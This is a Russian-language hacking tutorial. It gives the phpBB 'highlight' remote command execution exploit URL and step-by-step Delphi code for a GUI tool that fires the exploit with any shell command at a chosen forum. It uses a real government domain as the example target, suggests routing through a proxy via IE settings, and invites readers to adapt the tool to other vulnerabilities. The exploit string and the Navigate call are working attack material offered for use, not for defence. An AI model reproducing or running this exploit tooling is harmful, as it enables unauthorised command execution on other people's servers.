Ты наверное слышал о огромной дыре в phpBB через которую можно было выпонять команды на сервере. Вот сам эксплоит –
[site]/forum/viewtopic.php?t=7&highlight=%2527.\$poster=%60\$cmd%60.%527&cmd=команда
Скажи, тебе охота каждый раз, найдя бажный форум, лезть в текстовик,
копировать строку с эксплойтом и вставлять её в браузер? Мне тоже,
поэтому я и написал следующую вещь.
Весь код писался на Delphi 6 но мне кажется и в других версиях не будет проблем.
Главное чтоб в версии делфи которую ты юзаешь был компонент WebBrowser. Остальные компоненты вроде бы имеются во всех версиях.
Зайди в делфи и создай новый проект. На форме размести следующие компоненты:
1.WebBrowser (1 штука)
2.Edit (3 штуки)
3.Lable (3 штуки)
4.Button (1 штука)
Затем назови поля Edit следующими именами – AdresEdit, CmdEdit и TopicEdit
В свойстве Caption, компонентов lable, впиши следующее – Номер топика, Адресс сайта, Команда.
И Caption кнопки измени на go!
Итак сам кодинг!
Размести компоненты на форме так чтобы тебе было удобно потом пользоватся.
Теперь два раза щёлкни на кнопку go! , создастся обработчик события OnClick.
Затем между begin и end введи
WebBrowser1.Navigate(AdresEdit.text+'viewtopic.php?t='+TopicEdit+'&highlight=%2527.\$poster=%60\$cmd%60.%527&cmd='+CmdEdit.text);
Этот код пиши одной строкой.
Сейчас всё обьясню. Оператор WebBrowser1.Navigate отвечает за адресную
строку, у нас идёт следующее обращение – сначала берётся строка из поля
AdressEdit (например: www.nasa.gov/forum/) затем к ней прибовляется
строка “viewtopic.php?t=” таким образом у нас уже получается строка
www.nasa.gov/forum/viewtopic.php?t= , затем берётся число из поля
TopicEdit (если на атакуемом форуме несуществует топика с указанным
тобою номером то эксплоит несработает а выдаст сообщение о не
существовании темы),допустим ты ввёл 59, тогда получается строка
www.nasa.gov/forum/viewtopic.php?t=59
Затем ко всему этому пребовляется строка
“&highlight=%2527.\$poster=%60\$cmd%60.%527&cmd=” и получается у нас
www.nasa.gov/forum/viewtopic.php?t=59&highlight=%2527.\$poster=%60\$cmd%60.%527&cmd=
Теперь после знака “=” прибавляется то что ты набрал в строке CmdEdit (к примеру ls).
Вот и получается строка обращения компонента WebBrowser
www.nasa.gov/forum/viewtopic.php?t=59&highlight=%2527.\$poster=%60\$cmd%60.%527&cmd=ls
Результат этого запроса тут-же отобразится в компоненте WebBrowser.
Теперь тебе не придётся лазить за эксплоитом в текстови а достаточно
просто запустить скомпилёный экзешник и набрать там адресс, номер
топика и желаемую тобой команду.
Обрати внимание что адресс должен содержать и путь к папке с форумом, например www.nasa.gov/phpBB2/ или www.site.com/forum/
Кстати, при использовании компонента WebBrowser появляется одна
интересная возможность, дело в том что этот компонент непосредственно
связан с IE и берёт все настройки из него, в том числе и настройки
проксика :). Ты думаешь что тебе каждый раз придётся лзить в IE и
менять настройки? Ты ошибаешся, можно это оформить и в самой нашей
проге.
В Delphi есть полезная функция ShellExecute она отвечает за запуск
*.cpl файлов. В cpl файлах хранятся настройки винды, например настройки
рабочего стола. Но нам нужны настройки IE. Это тоже можно реализовать.
На форме своей проги размести ещё одну кнопку и назови её “Настройки”
или чтонить типа этого. Два раза кликни на эту кнопку и между begin и
end впиши следующее:
ShellExecute(Application.Handle, Pchar('Open'),
Pchar('Rundll32.exe'), Pchar('shell32, Control_RunDLL inetcpl.cpl'),
'', SW_SHOWNORMAL);
inetcpl.cpl – это имя cpl файла, в котором хранятся настройки, в разных
виндах файл может называться по разному, так что если не получится то
попробуй в поиске набрать *.cpl и среди найденных файлов найдите
похожие по смыслу, подставляй их имена заместо inetcpl.cpl и пробуй :),
Теперь прямо из своей проги ты можешь настроить проксик и прочее.
Надеюсь тебе не составит труда перебить эксплоит под какую нибудб другую уязвимость :)
Предупреждаю что применение данного сплойта могут повлечь за собой
уголовную ответственность, за вред причиненный вышеописаной программой
автор ответственности не несет!!!
|